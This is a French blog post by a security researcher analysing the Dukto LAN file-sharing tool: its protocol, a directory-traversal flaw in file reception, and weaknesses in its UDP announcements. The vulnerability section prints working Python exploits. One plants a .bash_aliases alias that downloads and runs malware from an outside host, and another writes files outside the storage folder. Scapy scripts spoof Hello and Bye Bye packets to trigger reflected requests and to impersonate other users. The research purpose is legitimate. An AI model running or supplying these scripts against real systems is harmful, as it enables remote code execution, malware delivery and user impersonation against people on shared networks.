Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

Dukto : recherche de vulnérabilités et exploitation

Rédigé par devloop - -

Histoire de changer des habituels writeups de CTF et autres challenges de sécurité informatique j'ai choisi de me pencher sur une application bien réelle pour rechercher ses vulnérabilités.
Vous verrez ici que l'on peut parfois trouver des failles assez basiques mais néanmoins importantes qui ne nécessitent pas de connaissances particulières en assembleur et reverse-engineering.

Présentation du logiciel

Dukto est un de ces petits logiciels qui se montrent rapidement indispensable.

Il s'agit d'un utilitaire développé en C++ qui permet d'échanger rapidement du texte, des fichiers, des captures d'écran sur un réseau local.
Il est basé sur le framework Qt et fonctionne sur Linux, Windows, OSX, Android et Symbian. Un sacré argument pour tous ceux qui disposent de machines sur plusieurs OS.
Il a aussi un look-and-feel agréable, ce qui ne gâche rien :)
Je m'en sers aussi bien sur des des machines physiques que des machines virtuelles et ça permet de transférer un fichier d'une machine à une autre sans avoir à jouer avec les dossiers partagés de VM Ware ou VirtualBox.
Il existe aussi des portages de ce logiciel pour iPhone ou BlackBerry.

Comme on va le voir, le protocole utilisé par Dukto est très simple et sa simplicité fait justement sa force : il serait très aisé de rajouter de nouvelles fonctionnalités ou d'apporter des améliorations.

Dukto est open-source et sous licence libre.

Le protocole

Dukto écoute par défaut sur le port 4644 aussi bien en UDP qu'en TCP.
UDP n'est utilisé que pour la présentation des clients Dukto sur le réseau : quand un client Dukto est lancé, il envoie en broadcast un message que l'on qualifiera de "Hello" (rapport à la fonction C++ chargée de l'opération, baptisée sayHello).

Les autres clients qui écoutent le port 4644 sur le réseau local (avec Dukto, tout le monde est client et serveur à la fois) reçoivent cette annonce et répondent à cette personne en lui envoyant à leur tour un message Hello.
A intervalle régulier, Dukto envoie un Hello broadcast pour indiquer aux autres utilisateurs qu'il est toujours présent.

Les datagrammes UDP envoyés par Dukto commencent toujours par un entête d'un seul octet : un numéro indiquant le type d'information envoyé.
Le message Hello se décline en 4 versions différentes : d'abord les broadcast et les unicast et ensuite ceux utilisant le port par défaut puis les autres. On a la répartition suivante :
  • 01 -> hello broadcast port par défaut
  • 02 -> hello unicast, port par défaut
  • 04 -> hello broadcast, port spécifique
  • 05 -> hello unicast, port spécifique
La charge du message est l'identité de l'utilisateur. Dukto s'attend à ce que ce soit formaté sous la forme "User at machine (Operating system)". Dukto utilise par exemple sous Linux les variables d'environnement USER et HOSTNAME pour générer cette information.
Les Hello utilisant un port spécifique transportent cette information supplémentaire : le port est alors indiqué juste après le header, sur deux octets.

On aura par exemple pour un Hello broadcast :
<01><identité de l'utilisateur>
Et pour un Hello unicast avec un port spécifique :
<05><port sur deux octets><identité de l'utilisateur>
Dukto dispose à contrario d'une annonce de sortie. Quand un client Dukto est fermé il va énumérer la liste des clients connectés (qu'il maintenait à jour) et leur envoyer à chacun un message de type 3 sur le port sur lequel ils écoutent. Il envoie aussi un message broadcast du même type pour s'assurer que tout le monde est averti.

Ici le payload est hardcodé à "Bye Bye". On a donc le datagramme suivant :
<03><Bye Bye>
Toute la gestion réseau est réalisée dans le fichier duktoprotocol.cpp.
On s’aperçoit vite en lisant le code source que le logiciel utilise toujours les classes fournies par Qt (comme QByteArray, QString, etc) et ne se risque pas à utiliser des fonctions potentiellement dangereuses comme strcpy, memcpy... Il ne faut pas s'attendre à trouver un buffer overflow dans le code :)

Si UDP est utilisé seulement pour les annonces de connexion et déconnexion, TCP sert lui à transmettre les données.
Lorsqu'il transmet des données sur une connexion TCP, Dukto agit en deux temps : d'abord il PUSH un entête pour indiquer leur taille puis ensuite il envoie effectivement les données.

Un header passant par TCP commence par deux qint64 (type entier de Qt, correspond à des quadwords, des entiers de 64 bits).
Le premier qword correspond au nombre d'éléments (fichiers) qui seront transmis dans la connexion TCP. On peut dire que le développeur a vu large, même si le qword est signé...
Le second qword correspond à la taille du fichier qui sera transmis.
Ces deux qwords sont suivis par le nom du fichier, encodé en UTF-8 et terminé par un octet nul.
Enfin après cela on trouve un dernier qword qui est encore la taille du fichier qui va suivre.

Par exemple si j'envoie un script nommé xor.py de 532 octets les premières données envoyées sur la socket seront les suivantes :
0100000000000000 : nombre de fichiers (1)
1402000000000000 : taille du fichier en octets (0x214 = 532)
786f722e707900   : le nom du fichier (xor.py) terminé par un octet nul
1402000000000000 : la taille du fichier (encore)
Une fois l'entête envoyé le contenu du fichier est envoyé sur la socket (second PUSH).

L'envoi d'un message fonctionne sur le même principe en spécifiant "___DUKTO___TEXT___" comme nom de fichier.
Le contenu du message est là aussi envoyé après le header.
0100000000000000 : 1 élément
0c00000000000000 : taille du message (12)
5f5f5f44554b544f5f5f5f544558545f5f5f00 : ___DUKTO...
0c00000000000000 : taille du message
Si deux fichiers sont envoyés en même temps (sélectionnés ensemble pour l'envoi), on s’aperçoit que la première taille indiquée correspond à la taille de l'ensemble des fichiers envoyés (la somme) alors que la seconde taille correspond au fichier qui suit immédiatement.

Ainsi si j'envoie un fichier de 5 et un de 7 octets :
0200000000000000 : le nombre de fichiers (2)
0c00000000000000 : la taille globale (12)
706c6f702e74787400 : nom du premier fichier (plop.txt)
0500000000000000 : taille du premier fichier
Après avoir reçu les 5 octets du premier fichier, on reçoit d'autres données :
68656c6c6f2e74787400 : nom du second fichier (hello.txt)
0700000000000000 : taille du fichier (7 octets)
636f75636f750a : contenu du fichier (ici "coucou\n")
Lors de l'envoi d'un dossier complet, le seul changement concerne la taille du fichier initial qui est fixé à -1 :
0400000000000000 : 4 éléments, le dossier et 3 fichiers
1200000000000000 : 0x12 = 18 octets au total
646f737369657200 : nom du dossier (ici "dossier")
ffffffffffffffff : -1 (le qword est signé)
suit ensuite les fichiers avec à chaque fois le nom, la taille puis le contenu :
646f73736965722f68656c6c6f2e74787400 : dossier/hello.txt
0700000000000000 : taille du fichier (7)
636f75636f750a : "coucou\n"

646f73736965722f706c6f702e74787400 : dossier/plop.txt
0500000000000000 : 5 octets
616263640a : "abcd\n"
646f73736965722f726561646d652e74787400 : dossier/readme.txt
0600000000000000 : 6 octets
73616c75740a : "salut\n"
Le parsing est réalisé dans la méthode readNewData(). La technique utilisé pour le parsing est classique avec un indicateur d'état (mRecvStatus) permettant de savoir à quoi s'attendre à tel ou tel moment de la lecture des données.

Les vulnérabilités

S'il n'y a pas d'erreurs de dépassement de tampon ni de chaines de format, que nous reste t-il à chercher ?
La réponse est une fois de plus dans la méthode readNewData(), en particulier la façon dont les fichier sont écrits sur le disque.

Dans le cas FILENAME du switch, le nom du fichier reçu est stocké dans le QByteArray mPartialName.
Quand, juste après, le parseur est en cas FILESIZE, le QByteArray est converti en QString en utilisant l'encodage UTF-8. La variable s'appelle alors name.

Dans tous les cas des vérifications sont faites pour s'assurer que le fichier n'existe pas encore. Il sera renommé si besoin :
while (QFile::exists(name))
    name = originalName + " (" + QString::number(i++) + ")";
Une autre vérification est faite en ligne 355 :
if ((name.indexOf('/') != -1) && (name.section("/", 0, 0) == mRootFolderName))
    name = name.replace(0, name.indexOf('/'), mRootFolderRenamed)
On s’aperçoit qu'il n'y a pas réellement de vérifications sur le path. Ces deux lignes regardent juste si la partie avant le premier slash (grâce à la méthode section() de QString) correspond à la variable mRootFolderName (par défaut une chaîne vide mais peut avoir une autre valeur en mode dossier).

Conclusions à ce niveau de l'analyse : on peut très bien indiquer un path absolu ou un path relatif à Dukto et sortir sans difficultés du dossier de stockage défini dans les paramètres de l'application.

Pour transformer cette faille de type directory traversal en remote execution on pourra utiliser les techniques suivantes sur un système dérivé d'Unix :
  • écrire un PHP dans le dossier public_html de l'utilisateur (pour peut que Apache soit présent avec mod_userdir)
  • écrire un fichier .bash_aliases avec un alias piégé
Les possibilités d'exploitation sous Unix semblent assez limitées car on ne peut pas se contenter d'uploader un binaire : il faut encore qu'il dispose du bit executable et Dukto écrit les fichiers avec l'umask par défaut.

Sous Windows qui n'a pas cette spécificité on peut imaginer plusieurs scénarios :
  • écrire un autorun.inf et une backdoor sur clé usb ou disque réseau
  • placer un exécutable dans l'entrée Démarrage du menu Démarrer pour l'utilisateur
  • placer une dll et exploiter une faille de type binary planting
et toutes plateforms confondues :
  • écrire un applet Java ou script JS sur le disque puis envoyer un HTML qui va les charger dans le contexte local du navigateur (requiert un peu de social-engineering)
  • écrire un fichier de configuration d'un logiciel dans lequel il est possible de spécifier des commandes (sait-on jamais)
  • autre idée nécessitant un peu de brainstorming :)
Il faut noter aussi que lors de l'upload d'un fichier seul, si on clique sur l'icone représentant le fichier reçu depuis Dukto alors le fichier est ouvert comme un objet URL Qt c'est à dire depuis le navigateur par défaut donc le format HTML offre ici un petit plus (on pourrait aussi utiliser un exploit connu pour Flash ou Java) :)

Exploit :
import socket
import time
import struct

udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.sendto('\x01Trololol at h4x0r (PwnOS)', ('192.168.1.22', 4644))
time.sleep(0.1)
udp_sock.close()

sock = socket.socket()
sock.connect(('192.168.1.22', 4644))

content = "alias ls='wget http://hack.er/malware; chmod +x malware; ./malware'"
# au choix : chemin absolu ou relatif
file_name = "/home/bob/.bash_aliases"
file_name = "../.bash_aliases"
msg = struct.pack("QQ", 1, len(content))
msg += file_name + "\x00"
msg += struct.pack("Q", len(content))
sock.send(msg)

sock.send(content)
sock.close()
Si on doit créer un dossier sur le système on procédera de façon similaire :
import socket
import time
import struct

udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.sendto('\x01Trol at lol (101)', ('192.168.1.22', 4644))
time.sleep(0.1)
udp_sock.close()

sock = socket.socket()
sock.connect(('192.168.1.22', 4644))

content = "Coucou les gens!"
folder_name = "../../../../../../../tmp/yop"
file_name = "../../../../../../../tmp/yop/test.txt"

# 2 items : 1 folder entry + 1 file entry
msg = struct.pack("QQ", 2, len(content))
msg += folder_name + "\x00"
msg += struct.pack("q", -1)  # this is a folder

sock.send(msg)

msg = file_name + "\x00"
msg += struct.pack("Q", len(content))
msg += content

sock.send(msg)
sock.close()
Les autres vulnérabilités trouvées sont liées à l'emploi du protocole UDP pour les Hello et Goodbye.

Par exemple en lisant le fichier source buddylistitemmodel.cpp on s’aperçoit que l'ors de la découverte d'un nouvel hôte, Dukto parse les informations du message Hello (l'adresse IP et le port) et lance une requête HTTP sur le numéro de port incrémenté de 1 pour demander la ressource /dukto/avatar.

Il est très facile de spoofer l'adresse IP source sous UDP et on peut par exemple faire en sorte qu'un client Dukto aille demander le fichier /dukto/avatar au serveur de Google :
Démonstration avec Scapy :
from scapy.all import *
pkt=Ether()/IP(src="216.58.211.67", dst="192.168.1.22")/UDP(sport=4644, dport=4644)/"\x05\x4f\x00H3llo at Bidule (machin)"
sendp(pkt)
Dukto sending an HTTP request to Google

Avec une armée de Dukto on pourrait donc lancer une attaque DDoS par réflection (spoofing) et amplification (un petit datagramme UDP génère une connexion TCP plus conséquente).
Dukto n'est pas bête et ne fait la requête HTTP qu'au moment du premier Hello... sauf que si juste après on spoofe un message Bye Bye avec la même adresse IP alors Dukto retirera l'IP de sa liste et renverra à nouveau une requête HTTP au prochain Hello.

Dans la pratique imaginer disposer d'une armée de clients Dukto est dérisoire, qui plus est le dénis de service ne peut pas être considéré comme distribué si tous les clients Dukto font partie du même réseau local :p

Quoiqu'il en soit, Dukto utilisant un protocole de transfert de fichier, on peut se demander pourquoi les avatars ne sont pas bêtement transmis via TCP (par exemple avec un nom de fichier spécial comme c'est le cas pour les messages texte).

L'utilisation d'UDP permet l'usurpation d'adresse IP et pour Dukto l'usurpation d'identité.
On peut imaginer un scénario où l'attaquant écoute les messages Hello pour dresser la liste des utilisateurs présents sur le réseau (Alice et Bob) puis choisi une victime (Bob) pour lui envoyer un message Bye Bye semblant venir d'Alice.

L'attaquant n'a plus qu'à envoyer un message Hello sous le pseudo Alice avec sa véritable adresse IP et profiter de la confiance que Bob a en Alice pour lui envoyer un cheval de troie.
Ici en dehors d'intégrer la cryptographie à clé publique dans Dukto j'ai du mal à voir d'autres solutions où l'on conserve UDP...

Voici un petit script utilisant Scapy qui va vider la liste des hôtes dans le client Dukto de la victime, ne laissant que notre adresse IP.
Comme pour une attaque d'empoisonnement de cache ARP il faudrait flooder les différents protagonistes pour être réellement efficace.
from ipaddress import ip_network
from scapy.all import *
conf.verbose = 0

our_ip = "192.168.1.3"
target = "192.168.1.22"

for ip in ip_network(u'192.168.1.0/24').hosts():
    if str(ip) == our_ip:
        continue

    pkt=Ether()/IP(src=str(ip), dst=target)/UDP(sport=4644, dport=4644)/"\x03Bye Bye"
    sendp(pkt)

Conclusion

Dukto est un outil très utile mais souffre d'une vulnérabilité de traversée d'arborescence qui devrait être colmatée.
Les autres vulnérabilités sont moins intéressantes et sont liées à un choix du développeur d'utiliser un protocole simple et pourtant efficace.

Classé dans : Non classé - Mots clés : aucun

Les commentaires sont fermés.